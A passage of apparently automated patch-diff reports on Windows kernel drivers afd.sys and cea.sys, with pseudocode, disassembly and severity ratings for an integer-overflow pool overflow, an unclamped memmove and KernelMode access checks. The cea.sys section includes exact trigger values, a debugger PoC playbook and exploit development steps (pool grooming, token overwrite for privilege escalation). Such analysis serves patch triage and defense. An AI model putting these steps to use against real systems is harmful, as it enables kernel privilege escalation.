AfdConnect (unpatched sub_1C005A4F0, 0.9643 similarity): Register reallocation from recompilation; no confirmed security-relevant change.
Cosmetic & Restructuring Changes:
AfdCleanupCore (unpatched sub_1C00571F0): Adjusted struct offsets (0x158 -> 0x160) reflecting the 8-byte endpoint growth, and re-addressed callees.
AfdDoDatagramConnect (unpatched sub_1C0061F80): Adjusted struct offsets, re-addressed callees, added an EvaluateCurrentState conditional.
AfdGetInformation (unpatched sub_1C0038900 -> patched sub_1C00389B0) and AfdGetAddress (sub_1C0036320, in place): IOCTL info/address query handler reorganization; also carry the feature-gated +0xf8 counter (Finding 2).
AfdSetEventHandler (unpatched sub_1C00410A0 -> patched sub_1C0041120) and AfdCloseRouteChangeNotifyHandles (unpatched sub_1C004194C -> patched sub_1C00419CC): shifted in memory layout.
AfdGetAddressFileReference (unpatched sub_1C006DDF4 -> patched sub_1C006DCF4) and AfdGetDeliveryStatus (unpatched sub_1C0072140 -> patched sub_1C0072040): reordered in binary layout.
AfdTLConnectEventHandler (sub_1C00549B0): Register and trace-data reference adjustments.

9. Unmatched Functions

No functions were exclusively added or removed; all changes were in-place modifications affecting the 18 matched-but-changed functions.

10. Confidence & Caveats

Confidence Level: High for the direction and mechanism of all four findings, which are read directly from both disassemblies.
Reachability of Finding 1: Whether unpatched systems are actually exposed depends on the runtime default of g_Feature_298020153_59190810. The correct clamp is present in the unpatched build but gated; the patched build removes the gate and hardwires it. The value written is transport-supplied address data, and the overshoot is bounded to 10 bytes.
Findings 2 and 4 are feature-staged: the new behavior is gated behind a WIL feature flag with the original behavior retained in the else-branch, and no use-after-free or double-free is demonstrable in the unpatched build. They are reported as Low pending evidence of a concrete race.
Manual Verification: Confirming Finding 1 in practice requires attaching a kernel debugger and identifying the AcceptEx/SuperAccept sequence that drives the completion routine with an address-length field large enough to overshoot after the +0xa shift.

cea.sys — integer overflow leading to pool buffer overflow in EaSignalAggregatedEvent (CWE-190) fixed

2026-06-26T00:00:00-07:00

1. Overview

Unpatched Binary: cea_unpatched.sys
Patched Binary: cea_patched.sys
Overall Similarity Score: 0.9
Diff Statistics: 84 matched functions, 84 changed functions, 0 identical functions, 0 unmatched functions in either direction.
Verdict: The patch remediates a single genuine security bug: an integer overflow in the exported EaSignalAggregatedEvent function that leads to a large kernel pool buffer overflow. Alongside that fix the patch performs a system-wide modernization in which every ExAllocatePoolWithTag call site (43 of them) is migrated to ExAllocatePool2, and it refactors the Windows Notification Facility (WNF) state-data parser (WnfEventCallback) into a dedicated helper while adding one new, fully validated optional field. The WNF refactor and the pool migration are hardening/behavioral changes, not fixes for a pre-existing exploitable bug.

2. Vulnerability Summary

Finding 1: Integer Overflow Leading to Kernel Pool Overflow

Severity: High
Vulnerability Class: Integer Overflow / Kernel Pool Buffer Overflow
Affected Function: EaSignalAggregatedEvent (Address: 0x1c00034b0)
Root Cause: The exported function EaSignalAggregatedEvent calculates the size of a required kernel pool allocation by taking the caller-supplied variable-length data size (Size, the 8th parameter, a size_t) and adding a fixed 0x10 for each of two optional 16-byte fields that are present when their pointer arguments (a5, a6) are non-NULL. The sum is computed into a 32-bit unsigned int (v20 = Size + (a5 ? 0x10 : 0) + (a6 ? 0x10 : 0)) with no overflow check, so only the low 32 bits of Size participate. By supplying a Size whose low 32 bits are near 0xFFFFFFFF (e.g., low 32 bits 0xFFFFFFF0 with both optional fields present), the 32-bit sum 0xFFFFFFF0 + 0x20 wraps to a tiny nonzero allocation size (0x10). The function then calls memmove with (unsigned int)Size (the low 32 bits, up to ~0xFFFFFFF0 ≈ 4 GiB) as the copy length into this undersized buffer. The patch introduces a helper function (EapSignalContentPrepareEventForPublishing (sub_140008B90)) that computes total = base + variable_length and performs an explicit if (total < base) check, returning STATUS_INTEGER_OVERFLOW (0xC0000095) if the arithmetic wraps.
Entry Point & Data Flow:
A caller invokes the exported kernel API EaSignalAggregatedEvent.
The function calculates the buffer size inline in 32-bit arithmetic: v20 = (unsigned int)(Size + (a5 ? 0x10 : 0) + (a6 ? 0x10 : 0)).
The wrapped v20 is passed to ExAllocatePoolWithTag, allocating an undersized buffer.
memmove copies the caller-supplied Src data using (unsigned int)Size (the low 32 bits, not the wrapped allocation size), overflowing the adjacent pool.

Finding 2: WNF State Parser Refactor (No Pre-existing OOB Read)

Severity: Informational (downgraded: no security-relevant regression)
Vulnerability Class: Refactor / added-and-validated optional field (not an out-of-bounds read)
Affected Function: WnfEventCallback (sub_1C00018C8) (Address: 0x1c00018c8)
Assessment: The unpatched parser is NOT missing the bounds checks the packed WNF structure requires. In cea_unpatched.c (WnfEventCallback) the code already enforces: a5 >= 8 (minimum header), a5 >= 16*((bit23!=0)+(bit24!=0)) + 8 (the optional 16-byte fields must fit), ((header>>2)&0xFFF) >= 16*((bit23!=0)+(bit24!=0)) when the count field is non-zero, and a5 >= ((header>>2)&0xFFF) + 8. The only base pointer read of the payload region on this path is the memmove of count bytes from buffer+8 inside EaiResetTriggerPayload, which is covered by the a5 >= count + 8 check. Header bit 0x19 (bit 25, 0x2000000) is never referenced anywhere in the unpatched build, so no field gated by it is ever read. The patch (a) moves this inline parsing/validation into the new helper EapSignalMessageReadFromBuffer (sub_140008A98) and (b) adds support for one NEW optional 8-byte field gated by header bit 25, together with the matching validation count >= (bit24?0x10:0)+(bit23?0x10:0)+(bit25?8:0). There is no attacker-reachable out-of-bounds read in the unpatched build for this path; the change is a refactor plus a new, fully validated field.
Entry Point & Data Flow (unchanged callback path):
WNF state data is written to a subscribed state name via NtUpdateWnfStateData.
The kernel triggers the WNF callback dispatcher EaLibSubscribeWnfStateChangeNotification (sub_1C0011848).
The dispatcher calls AggregateEventWnfCallback (sub_1C00116A0), which queries the state data via ExQueryWnfStateData.
The raw buffer is passed to WnfEventCallback (sub_1C00018C8), which validates it before forwarding a bounds-checked pointer/count to EaiProcessNotification.

3. Pseudocode Diff

`EaSignalAggregatedEvent` (Integer Overflow)

// === UNPATCHED (EaSignalAggregatedEvent @ 0x1C00034B0) ===
// v20 is unsigned int: the sum is computed in 32 bits with NO overflow check.
// a5/a6 are pointers to optional 16-byte fields; present when non-NULL.
v20 = Size + (a5 != NULL ? 0x10 : 0) + (a6 != NULL ? 0x10 : 0);
if (v20 != 0) {
    buf = ExAllocatePoolWithTag(PagedPool, v20, 'EtvA');   // wrapped (tiny) size

    // ...optional 16-byte fields copied from a5/a6 into buf...
    // VULNERABILITY: copy length is the low 32 bits of the caller's Size,
    // which can be ~0xFFFFFFF0 while v20 wrapped to 0x10
    memmove(dst, Src, (unsigned int)Size);
}

// === PATCHED (via EapSignalContentPrepareEventForPublishing (sub_140008B90)) ===
base = 8 + (a5 ? 0x10 : 0) + (a6 ? 0x10 : 0) + (a7 ? 8 : 0);
total = base + variable_length;   // variable_length = struct[0x20]

if (total < base)  // OVERFLOW CHECK ADDED -> STATUS_INTEGER_OVERFLOW (0xC0000095)
    return STATUS_INTEGER_OVERFLOW;

buf = ExAllocatePool2(POOL_FLAG_PAGED, total, 'EtvA');
memset(buf, 0, total);
// safe bounded copy of variable_length bytes follows...

`WnfEventCallback (sub_1C00018C8)` (WNF Parser Refactor)

// === UNPATCHED === (already bounds-checked; a5 = buffer size, a4 = buffer)
header = *a4;
count  = (header >> 2) & 0xFFF;
nfields = ((header & 0x800000) != 0) + ((header & 0x1000000) != 0);  // bit23 + bit24

if (a5 < 8) return error;                       // minimum header
if (nfields != 0) {
    if (a5 < 16*nfields + 8) return error;       // optional 16-byte fields must fit
    if ((header & 0x3FFC) != 0 && count < 16*nfields) return error;
}
if (a5 < count + 8) return error;                // payload region must fit
// forwards (buffer+8 or NULL), count, flags to EaiProcessNotification (bounds-checked)

// === PATCHED (via EapSignalMessageReadFromBuffer (sub_140008A98)) ===
if (a2 < 8) return STATUS_BUFFER_TOO_SMALL;      // *a4 = 16
if (a2 < count + 8) return 0xC000090B;           // *a4 = 32
fieldbytes = (header & 0x1000000 ? 0x10 : 0)
           + (header & 0x800000  ? 0x10 : 0)
           + (header & 0x2000000 ? 8 : 0);        // NEW: bit25 field added here
if (count < fieldbytes) return STATUS_INVALID_BUFFER_SIZE;  // *a4 = 48
// returns bounds-checked {ptr, count, flags} struct

4. Assembly Analysis

`EaSignalAggregatedEvent` (Unpatched, real instructions)

; EaSignalAggregatedEvent @ 0x1C00034B0
; Size is loaded as a 32-bit dword, so only its low 32 bits participate.
00000001C0003545  mov   r15d, dword ptr [rbp+3Fh+Size]  ; r15 = (32-bit) Size, zero-extended
; ... optional-field presence computed into ecx / ebx as 0 or 0x10 ...
00000001C00035DB  lea   eax, [r15+rcx]                   ; eax = Size + (field1 ? 0x10 : 0)
00000001C00035DF  add   ebx, eax                         ; ebx = + (field2 ? 0x10 : 0)  -- 32-bit, NO OVERFLOW CHECK
00000001C00035E1  jz    short loc_1C000364A              ; skip alloc only if wrapped result == 0
00000001C00035E3  mov   edx, ebx                         ; NumberOfBytes = truncated 32-bit size
00000001C00035E5  mov   ecx, 1                           ; PoolType = PagedPool
00000001C00035EA  mov   r8d, 41747645h                   ; Tag = 'EtvA'
00000001C00035F0  call  cs:__imp_ExAllocatePoolWithTag   ; allocates the wrapped (tiny) buffer
; ... optional 16-byte fields copied via movups ...
00000001C0003642  mov   r8, r15                          ; Size = low 32 bits of caller Size (~0xFFFFFFF0 max)
00000001C0003645  call  memmove                          ; copies far past the tiny allocation

`EapSignalContentPrepareEventForPublishing (sub_140008B90)` (Patched Overflow Check)

; @ 0x140008B90 - r8/[rsi+20h] = variable_length, edi = base size
0000000140008C0A  lea   eax, [rdi+r8]                    ; total = base + variable_length (32-bit)
0000000140008C0E  cmp   eax, edi                         ; compare total vs base
0000000140008C10  jb    short loc_140008C26              ; if wrapped (total < base) -> overflow
0000000140008C12  mov   edi, eax                         ; else keep total
; ...
0000000140008C26  mov   ebx, 0C0000095h                  ; STATUS_INTEGER_OVERFLOW
0000000140008C2B  jmp   loc_140008CDB                    ; return

`WnfEventCallback` optional-field bounds check already present (Unpatched)

; WnfEventCallback @ 0x1C00018C8 - the unpatched build already validates the fields it parses
00000001C00019F6  test  edx, edx                         ; edx = (bit23!=0)+(bit24!=0)
00000001C00019F8  jz    short loc_1C0001A33              ; no optional fields -> skip
00000001C00019FA  shl   rdx, 4                           ; rdx = 16 * nfields
00000001C00019FE  lea   rcx, [rdx+8]                     ; rcx = 16*nfields + 8
00000001C0001A02  cmp   r9, rcx                          ; r9 = buffer size a5
00000001C0001A05  jnb   short loc_1C0001A14              ; require a5 >= 16*nfields + 8, else error 0x14
; ... further: cmp r9, count+8 @ 0x1C0001A41 (require a5 >= count + 8) ...

5. Trigger Conditions

Trigger 1: `EaSignalAggregatedEvent` Pool Overflow

Obtain a handle or execution context capable of invoking the exported kernel API EaSignalAggregatedEvent.
Prepare the arguments to trigger the arithmetic wrap. Pass non-NULL pointers for the two optional 16-byte fields (a5 and a6), adding 0x20 to the allocation size.
Set the Size parameter so its low 32 bits are 0xFFFFFFF0. The 32-bit allocation arithmetic 0xFFFFFFF0 + 0x20 wraps to a tiny nonzero size (0x10), while the copy uses (unsigned int)Size = 0xFFFFFFF0.
Pass a valid pointer for the Src data argument containing controlled payload data.
Observable Effect: The kernel allocates a 0x10 pool block, followed immediately by a memmove of 0xFFFFFFF0 (~4 GiB) bytes. This causes a kernel access violation. Bugcheck 0x19 (BAD_POOL_HEADER) or 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) will occur.

Trigger 2: WNF Parser (no reachable OOB)

No exploitable trigger exists for the unpatched WNF parser. The unpatched WnfEventCallback (sub_1C00018C8) already validates that the buffer holds the optional 16-byte fields it processes (a5 >= 16*nfields + 8) and that it holds the payload region (a5 >= count + 8), and it never references header bit 0x19. A crafted short buffer with flag bits set is rejected by these checks rather than read out of bounds. The patched path adds an additional optional field (header bit 0x19) with its own validation, so the behavior is stricter, not a fix for a reachable read past the buffer.

6. Exploit Primitive & Development Notes

Primitive Provided (Overflow): A highly controllable kernel pool overflow via memmove. The data written is dictated by the caller's input buffer, providing a deterministic linear pool overflow relative to the EtvA pool block. The copy length is the low 32 bits of Size (up to ~4 GiB), so in practice the copy runs off the end of valid memory quickly; controlled corruption requires the copy to be arranged to stop within a groomed region.
Development Steps for Full Exploit:
Heap Grooming: Use predictable pool allocations to place sensitive kernel objects (e.g., process tokens, KTHREAD structures) or known vulnerable structures adjacent to the EtvA allocation.
Data Preparation: Craft the Src data payload so that the overflow overwrites function pointers or reference counts in the adjacent object.
Privilege Escalation: Overwrite the TOKEN pointer in the target EPROCESS structure with a pointer to System's token, or hijack execution via a modified function pointer.
Mitigations:
The unpatched binary uses PagedPool (executable). This makes ring-0 code execution trivial if SMEP/SMAP are disabled or bypassed, as shellcode can be placed directly in the overflowed pool block.
In the patched binary (and modern Windows generally), ExAllocatePool2 enforces non-executable (NX) memory (POOL_FLAG_PAGED), neutralizing direct shellcode execution and forcing ROP/JOP-based exploit strategies.

7. Debugger PoC Playbook

To build and verify a PoC for these vulnerabilities, use the following WinDbg/KD commands on the unpatched binary.

Target 1: `EaSignalAggregatedEvent` (Integer Overflow)

Breakpoint: bp cea_unpatched!EaSignalAggregatedEvent (Address: 0x1c00034b0).
What to inspect at the breakpoint:
Inspect the stack to read the arguments based on the calling convention. In a standard Microsoft x64 ABI, arg1 is in RCX, arg2 in RDX, arg3 in R8, arg4 in R9; the remaining parameters (including the two optional-field pointers and the Size value) are on the stack. Verify the low 32 bits of Size are set to 0xFFFFFFF0 and both optional-field pointers are non-NULL.
Step over (p) until the 32-bit add ebx, eax instruction (0x1C00035DF) combining the sizes is hit. You will see the destination register (EBX) contain a wrapped small value (e.g., 0x10).
Step into the call ExAllocatePoolWithTag (0x1C00035F0). Verify it returns a valid, but tiny (0x10), pointer.
Step to the call memmove (0x1C0003645). Verify the size argument register (R8, loaded from r15 at 0x1C0003642) holds 0xFFFFFFF0.
Key instructions/offsets: The 32-bit add ebx, eax instruction (0x1C00035DF) computing the truncated size before the ExAllocatePoolWithTag call is the vulnerable point.
Trigger setup: Open a handle to the driver/device exposing EaSignalAggregatedEvent and invoke the API mapping to it, passing your crafted parameters.
Expected observation: A bugcheck 0x19 (BAD_POOL_HEADER) when memmove corrupts the pool, or an immediate 0x50 (PAGE_FAULT) if the copy runs off the end of a valid memory page.

Target 2: `WnfEventCallback (sub_1C00018C8)` (parser validation, no OOB)

Breakpoints:
bp cea_unpatched!WnfEventCallback (Address: 0x1c00018c8)
bp cea_unpatched!AggregateEventWnfCallback (sub_1C00116A0) (Address: 0x1c00116a0)
What to inspect at the breakpoint:
At WnfEventCallback: RCX = context, R9 = pointer to WNF data buffer; the buffer size (a5) arrives on the stack and is loaded into r9d at 0x1C00019B2.
Dump the WNF buffer using db R9 L20. Verify your packed header is present and the flags are set.
Key instructions/offsets: Observe that the flag-derived optional-field check is already present: shl rdx, 4 (0x1C00019FA) then cmp r9, rcx (0x1C0001A02) enforcing a5 >= 16*nfields + 8, and cmp r9, count+8 at 0x1C0001A41. A short buffer takes the error branch (ecx = 0x14/0x28) rather than reading past the buffer.
Trigger setup: Identify the WNF state name passed to the subscription in AggregateEventWnfCallback (sub_1C00116A0). From a user-mode application, call NtUpdateWnfStateData with the discovered state name, providing a short buffer with flag bits set.
Expected observation: The parser returns an error status for the short buffer; no out-of-bounds access occurs on this path.

8. Changed Functions — Full Triage

WnfEventCallback (sub_1C00018C8) (Sim: 0.594, Type: Refactor): WNF data parser; the already-present inline bounds checking was moved into EapSignalMessageReadFromBuffer (sub_140008A98), and one new optional 8-byte field (header bit 0x19) was added with matching validation. No pre-existing OOB read; not a security fix.
EaSignalAggregatedEvent (Sim: 0.853, Type: Security): Exported API; added integer overflow checks during allocation size calculation and migrated to safe memory copying.
BripCreateBrokeredEvent (sub_1C0005340) (Sim: 0.745, Type: Behavioral): RPC marshaling for brokered event creation. SID validation via RtlValidSid/RtlLengthSid is present in both versions; the change restructures the NdrClientCall3 invocation and reduces the BripCreateEventContext signature, whose allocation migrated to ExAllocatePool2.
EaiDuplicateConditionsVisitNode (sub_1C0003840) (Sim: 0.842, Type: Security): Pool hardening; migrated to ExAllocatePool2.
EapQueryAggregatedEventConditionPostVisitNode (sub_1C0007760) (Sim: 0.905, Type: Behavioral): Array growth function; the allocation size is 48 * (count + 5) where count is a 16-bit field (*((unsigned __int16 *)a1 + 4), max 0xFFFF), so the multiply cannot overflow. Only change is the ExAllocatePoolWithTag -> ExAllocatePool2 migration.
EapTreeTraverse (sub_1C00062D0) (Sim: 0.944, Type: Behavioral): Stack parsing; the growth allocation is 16 * v7 + 80 computed in 64 bits where v7 is a 16-bit counter (max 0xFFFF), so no overflow is possible. Only change is the ExAllocatePool2 migration.
EACreateAggregateEvent (Sim: 0.95, Type: Behavioral): Fixed allocation size pool hardening.
BripCreateBindingContext (sub_1C0005680) (Sim: 0.95, Type: Behavioral): Pool API modernization.
EaiProcessNotification (sub_1C0001BC4) (Sim: 0.942, Type: Behavioral): Core event condition state logic restructured; improved tracking.
EaiEnableAggregateEvent (sub_1C00027BC) (Sim: 0.93, Type: Behavioral): WNF state init function updated to use ExAllocatePool2.
BripCleanupEventTable (sub_1C00050B0) (Sim: 0.88, Type: Behavioral): Cleanup/destructor; simplified loop variable tracking.
EapFreeSimpleEventParameters (sub_1C00071BC) (Sim: 0.9, Type: Cosmetic): Redundant variable cleanup in a free-loop.

9. Unmatched Functions

Added: 0
Removed: 0 (Note: While no completely new unmatched functions were added, security logic was injected via modified matched functions calling new subroutines like EapSignalMessageReadFromBuffer (sub_140008A98) and EapSignalContentPrepareEventForPublishing (sub_140008B90) which were likely linked statically or present in previously unused space).

10. Confidence & Caveats

Confidence: High for the integer-overflow finding. The 32-bit truncated size arithmetic in the unpatched EaSignalAggregatedEvent and the explicit if (total < base) overflow check returning STATUS_INTEGER_OVERFLOW in the patched EapSignalContentPrepareEventForPublishing are both directly present in the binaries. The WNF parser change does not fix a pre-existing out-of-bounds read: the unpatched build already validates the fields it parses, and the patch adds a new validated field plus a refactor. The pool-API migration is a defense-in-depth hardening measure.
Assumptions:
The PoC relies on EaSignalAggregatedEvent being reachable from an attacker-controlled execution context. The exact caller (IOCTL, RPC, or in-kernel client) needs to be mapped by the exploit developer.
Manual Verification Required: Verify the exact entry point that routes to EaSignalAggregatedEvent with attacker-influenced Size to test Trigger 1.

afd.sys — Out-of-bounds read/write via feature-gated length clamp in AfdRestartSuperAcceptGetAddress (CWE-787) fixed

2026-06-25T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`afd_unpatched.sys`
Patched binary	`afd_patched.sys`
Overall similarity	0.992
Matched functions	1073
Changed functions	6
Identical functions	1067
Unmatched (either direction)	0 / 0

Verdict: The patch makes an existing length clamp in AfdRestartSuperAcceptGetAddress unconditional. In the unpatched build that clamp is only executed when a servicing feature flag is enabled, so on the flag-off path a kernel-mode memmove runs with a length taken from a 16-bit AddressLength field with no bound (HIGH — out-of-bounds read/write, CWE-787 / CWE-125). The patch also removes a conditional that passed AccessMode = KernelMode to ObOpenObjectByPointer in AfdQueryHandles and AfdTdiCreateAO, so the ACCESS_SYSTEM_SECURITY open of the caller's own transport file objects now honours the caller's processor mode (MEDIUM — missing privilege check, CWE-862). Finally it adds a device-stack match check in AfdCreateConnection before issuing a device control on a caller-supplied handle (MEDIUM — improper validation, CWE-20).

The remaining two changed functions are servicing feature-flag teardown with no security-relevant logic delta.

Addresses in this report are the real virtual addresses shown in the disassembly (image base 0x1C0000000). AfdRestartSuperAcceptGetAddress relocated from 0x1C00641C0 (unpatched) to 0x1C00641D0 (patched); other cited functions are matched by content.

2. Vulnerability Summary

2.1 HIGH — OOB Read/Write in `AfdRestartSuperAcceptGetAddress`

Severity: High
Class: Out-of-bounds write / out-of-bounds read via unclamped memmove length (CWE-787 / CWE-125)
Affected function: AfdRestartSuperAcceptGetAddress (unpatched 0x1C00641C0, patched 0x1C00641D0)

Root cause. On completion of a SuperAccept (accept-with-address) operation, AfdRestartSuperAcceptGetAddress maps the buffer that the transport filled with a TRANSPORT_ADDRESS/TA_ADDRESS and compacts it in place. It computes a copy length as size = *(word)(buffer + 8) + 2 — the 16-bit AddressLength field plus 2 — and then calls memmove(buffer, buffer + 0xa, size).

In the unpatched build the clamp that would constrain size to MDL->ByteCount - offset is executed only when EvaluateCurrentState(&g_Feature_4201696571_57655968) returns non-zero. When that feature flag is off, the jz at 0x1C00642DE jumps straight to the memmove at 0x1C0064304, so the copy runs with size bounded only by the 16-bit field (up to 0x10001). Because destination buffer and source buffer + 0xa both point inside the mapped completion buffer, a size larger than the mapped region reads past the source and writes past the destination in kernel context.

The patch makes a bound unconditional. A new flag g_Feature_499346745_59190809 selects between two clamps, and both branches clamp: - flag on (the default-carrying path): size is clamped to IoStatus.Information - 0xa, i.e. the number of bytes the transport actually reported returning; - flag off: size is clamped to the legacy MDL->ByteCount - offset formula.

No path now reaches the memmove without a clamp.

Scope note. The AddressLength value originates from the buffer the transport writes on accept completion, read back through MDL->MappedSystemVa. The tightened patched clamp (to IoStatus.Information - 0xa) indicates the concern is an AddressLength field that claims more than the transport actually wrote. A concrete attacker-controlled oversized value could not be demonstrated from the two binaries alone; the demonstrable fact is that the kernel-mode memmove length was unbounded on the flag-off path and is bounded in every path after the patch.

Entry point and data flow (as reachable in the binary):

User-mode NtDeviceIoControlFile on the AFD endpoint with the SuperAccept IOCTL.
AfdDispatch → AfdDispatchDeviceControl (IRP_MJ_DEVICE_CONTROL) → AfdSuperAccept; the IRP is pended on the transport.
The transport completes the accept asynchronously; AFD's restart path runs AfdContinueSuperAccept, which reaches AfdRestartSuperAcceptGetAddress.
Inside that function the memmove at 0x1C0064304 (unpatched) runs with the computed size.

2.2 MEDIUM — KernelMode `ObOpenObjectByPointer` in `AfdQueryHandles`

Severity: Medium
Class: Missing privilege/authorization check (CWE-862), via ObOpenObjectByPointer with AccessMode = KernelMode
Affected function: AfdQueryHandles (0x1C0031B70 in both builds)

Root cause. AfdQueryHandles opens handles to the endpoint's address-object file object (endpoint + 0x18) and, when connected, the connection object's file object, each with DesiredAccess = 0x02000000 (ACCESS_SYSTEM_SECURITY). In the unpatched build the AccessMode argument is chosen conditionally: when EvaluateCurrentState(&g_Feature_3932725563_57984164) returns FALSE and the endpoint flag 0x10000 is clear (*(endpoint + 0x10) & 0x10000 == 0), AccessMode is set to 0 (KernelMode). A KernelMode open skips the ACCESS_SYSTEM_SECURITY privilege check (SeSecurityPrivilege) and the security-descriptor check. Both ObOpenObjectByPointer sites in the routine follow the same pattern.

The effect is that a caller without SeSecurityPrivilege can obtain a handle carrying ACCESS_SYSTEM_SECURITY to the transport file objects underlying its own socket. The patch removes the conditional and always passes the caller's processor mode (the value in sil, the routine's arg3) to ObOpenObjectByPointer.

2.3 MEDIUM — KernelMode `ObOpenObjectByPointer` in `AfdTdiCreateAO`

Severity: Medium
Class: Missing privilege/authorization check (CWE-862)
Affected function: AfdTdiCreateAO (unpatched 0x1C0039D88, patched 0x1C0039CF8)

Same pattern as §2.2, in the address-object creation (bind) path. When EvaluateCurrentState(&g_Feature_3932725563_57984164) is FALSE and endpoint flag 0x10000 is clear, AccessMode is forced to 0 (KernelMode) for the ObOpenObjectByPointer open of the transport file object, again with DesiredAccess = 0x02000000. The patch removes the conditional and always passes the caller's processor mode.

2.4 MEDIUM — Missing handle/device validation in `AfdCreateConnection`

Severity: Medium (hardening)
Class: Improper input validation of a caller-supplied handle's device stack (CWE-20)
Affected function: AfdCreateConnection (0x1C0047F50 in both builds)

Root cause. The unpatched AfdCreateConnection issues AfdIssueDeviceControl on a caller-supplied handle's file object without confirming that the file object sits on the same device stack as the connection's transport device. The patch adds an IoGetDeviceAttachmentBaseRef comparison: it takes the base attachment device of the connection's device object (connection + 0x18) and of the file object's related device object, and returns STATUS_INVALID_PARAMETER (0xC000000D) if they differ, before calling AfdIssueDeviceControl.

3. Pseudocode Diff

3.1 `AfdRestartSuperAcceptGetAddress` — OOB length clamp

// ===== UNPATCHED (0x1C00641C0) =====
// buffer = MappedSystemVa(MDL) + offset
size = *(uint16_t*)(buffer + 8) + 2;              // 0x642CF / 0x642D3
if (EvaluateCurrentState(&g_Feature_4201696571_57655968)) {   // 0x642D7 — flag-gated
    if (Mdl->ByteCount - offset < size)
        size = Mdl->ByteCount - offset;           // clamp (only on flag-on path)
}
// flag off (0x642DE jz): reach memmove with size unclamped
memmove(buffer, buffer + 0xa, size);              // 0x64304
*(uint16_t*)(buffer + size - 2) = size;           // 0x64309

// ===== PATCHED (0x1C00641D0) =====
size = *(uint16_t*)(buffer + 8) + 2;
if (EvaluateCurrentState(&g_Feature_499346745_59190809)) {    // 0x642DF — new flag
    uint16_t max = (IoStatus.Information >= 0xa)
                 ? (IoStatus.Information - 0xa) : 0;
    if (max < size) size = max;                   // clamp to actual returned length
} else {
    if (Mdl->ByteCount - offset < size)
        size = Mdl->ByteCount - offset;           // legacy clamp
}
memmove(buffer, buffer + 0xa, size);              // 0x6432C — clamped in every path
*(uint16_t*)(buffer + size - 2) = size;           // 0x64331

3.2 `AfdQueryHandles` / `AfdTdiCreateAO` — AccessMode

// ===== UNPATCHED =====
accessMode = callerMode;                          // arg3 (sil) / stack AccessMode
if (!EvaluateCurrentState(&g_Feature_3932725563_57984164)      // default path
    && !(endpoint->Flags & 0x10000)) {
    accessMode = 0;                               // KernelMode — skips ACCESS_SYSTEM_SECURITY check
}
ObOpenObjectByPointer(fileObject, 0x40, NULL, 0x2000000,
                      *IoFileObjectType, accessMode, &handle);

// ===== PATCHED =====
ObOpenObjectByPointer(fileObject, 0x40, NULL, 0x2000000,
                      *IoFileObjectType, callerMode, &handle);

3.3 `AfdCreateConnection` — device-stack match

// ===== UNPATCHED =====
AfdIssueDeviceControl(connection, fileObject, ...);   // no device check

// ===== PATCHED =====
base  = IoGetDeviceAttachmentBaseRef(connection->DeviceObject);      // 0x48267
hbase = IoGetDeviceAttachmentBaseRef(IoGetRelatedDeviceObject(fileObject)); // 0x4827C
if (base != hbase) {                                                 // 0x48285
    ObDereferenceObject(hbase); ObDereferenceObject(base); ObDereferenceObject(fileObject);
    return STATUS_INVALID_PARAMETER;                                 // 0xC000000D @ 0x482B7
}
ObDereferenceObject(hbase); ObDereferenceObject(base); ObDereferenceObject(fileObject);
AfdIssueDeviceControl(connection, fileObject, ...);                  // 0x482F5

4. Assembly Analysis

4.1 `AfdRestartSuperAcceptGetAddress` — Unpatched flag-gated clamp (`0x1C00641C0`)

00000001C00642BE  mov     ebp, [rsi+8]                         ; buffer offset
00000001C00642C1  lea     rcx, g_Feature_4201696571_57655968_FeatureDescriptorDetails
00000001C00642C8  mov     r15d, [rsi+18h]                      ; IoStatus.Information
00000001C00642CC  add     rbp, rax                             ; rbp = MappedSystemVa + offset
00000001C00642CF  movzx   edi, word ptr [rbp+8]                ; AddressLength
00000001C00642D3  add     di, 2                                ; size = AddressLength + 2
00000001C00642D7  call    EvaluateCurrentState
00000001C00642DC  test    eax, eax
00000001C00642DE  jz      short loc_1C00642F9                  ; flag off -> skip clamp
00000001C00642E0  mov     rdx, [rbx+8]                         ; MDL
00000001C00642E4  movzx   eax, di
00000001C00642E7  mov     ecx, [rdx+28h]                       ; MDL->ByteCount
00000001C00642EA  sub     ecx, [rsi+8]                         ; ByteCount - offset
00000001C00642ED  cmp     ecx, eax
00000001C00642EF  jnb     short loc_1C00642F9
00000001C00642F1  movzx   edi, word ptr [rdx+28h]              ; clamp
00000001C00642F5  sub     di, [rsi+8]
00000001C00642F9  movzx   r8d, di                              ; Size
00000001C00642FD  lea     rdx, [rbp+0Ah]                       ; Src
00000001C0064301  mov     rcx, rbp                             ; Dst
00000001C0064304  call    memmove                              ; unbounded size on flag-off path
00000001C0064309  mov     [r15+rbp-2], di

0x1C00642DE — the jz that skips the clamp entirely when EvaluateCurrentState returns 0.
0x1C0064304 — the copy that runs with size = AddressLength + 2, unconstrained on the flag-off path (out-of-bounds write to rbp, out-of-bounds read from rbp + 0xa).

4.2 `AfdRestartSuperAcceptGetAddress` — Patched, clamp in both branches (`0x1C00641D0`)

00000001C00642C6  mov     ebp, [rsi+8]
00000001C00642C9  lea     rcx, g_Feature_499346745_59190809_FeatureDescriptorDetails
00000001C00642D0  mov     r15d, [rsi+18h]                      ; IoStatus.Information
00000001C00642D4  add     rbp, rax
00000001C00642D7  movzx   ebx, word ptr [rbp+8]                ; AddressLength
00000001C00642DB  add     bx, 2                                ; size = AddressLength + 2
00000001C00642DF  call    EvaluateCurrentState
00000001C00642E4  test    eax, eax
00000001C00642E6  jz      short loc_1C0064308                  ; new flag off -> legacy MDL clamp
00000001C00642E8  movzx   eax, word ptr [rsi+18h]              ; IoStatus.Information
00000001C00642EC  cmp     ax, 0Ah
00000001C00642F0  jb      short loc_1C00642FC                  ; if < 0xa, max = 0
00000001C00642F2  mov     ecx, 0FFF6h                          ; -0xa
00000001C00642F7  add     ax, cx                               ; ax = Information - 0xa
00000001C00642FA  jmp     short loc_1C00642FE
00000001C00642FC  xor     eax, eax
00000001C00642FE  cmp     ax, bx
00000001C0064301  jnb     short loc_1C0064321                  ; if max >= size keep size
00000001C0064303  movzx   ebx, ax                              ; clamp size = Information - 0xa
00000001C0064306  jmp     short loc_1C0064321
00000001C0064308  mov     rdx, [rdi+8]                         ; MDL (legacy path)
00000001C006430C  movzx   eax, bx
00000001C006430F  mov     ecx, [rdx+28h]
00000001C0064312  sub     ecx, [rsi+8]
00000001C0064315  cmp     ecx, eax
00000001C0064317  jnb     short loc_1C0064321
00000001C0064319  movzx   ebx, word ptr [rdx+28h]
00000001C006431D  sub     bx, [rsi+8]
00000001C0064321  movzx   r8d, bx                              ; Size
00000001C0064325  lea     rdx, [rbp+0Ah]                       ; Src
